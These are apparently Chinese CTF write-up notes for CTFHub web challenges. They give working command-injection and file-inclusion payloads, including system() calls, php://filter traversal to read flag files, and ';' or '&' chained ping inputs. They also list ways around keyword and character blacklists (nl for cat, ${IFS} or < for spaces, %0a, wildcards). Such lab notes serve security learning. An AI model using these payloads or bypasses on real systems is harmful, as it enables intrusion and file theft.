查看目录找flag
/?cmd=system("ls /"); /?cmd=system("cat /flag_26871");文件包含
ctfhub=system('ls /');
ctfhub=system('cat /flag');
php://input, 远程包含
filter伪协议
/?file=php://filter/convert.base64-encode/resource=../../../flag命令注入
linux中命令的链接符号 1.每个命令之间用;隔开 说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。 2.每个命令之间用&&隔开 说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。 3.每个命令之间用||隔开 说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。 4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。 5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
查看源码就出来了
也可以用 ip & cat *.php | base64 ,然后去解码
过滤cat与上题一样,只是过滤cat了
换成nl
记录一下各种姿势:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 使用more输出base64密文 12.0.0.1 & more flag_1482210209678.php | base64
过滤空格这里用小于号<可以代替空格,也可以使用/**/
过滤目录分隔符/就是使用cd代替/,来找出flag文件的目录
127.0.0.1&ls
127.0.0.1&ls cd flag_is_here
127.0.0.1 ; cd flag_is_here ; cat flag_223902169917800.php 查看源码
过滤运算符if (!preg_match_all("/(\||\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res);
过滤了|和&
不影响啥
127.0.0.1;ls
127.0.0.1;cat flag_26986317377852.php 查看源码
综合过滤练习if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res);
先看过滤了啥东西 | & ; 空格 / cat flag ctfhub
在url里面输入%0a表示换行,这样来执行ls
接下来用cd替代/ 来查看目录,flag用通配符*和?绕过,空格用${IFS}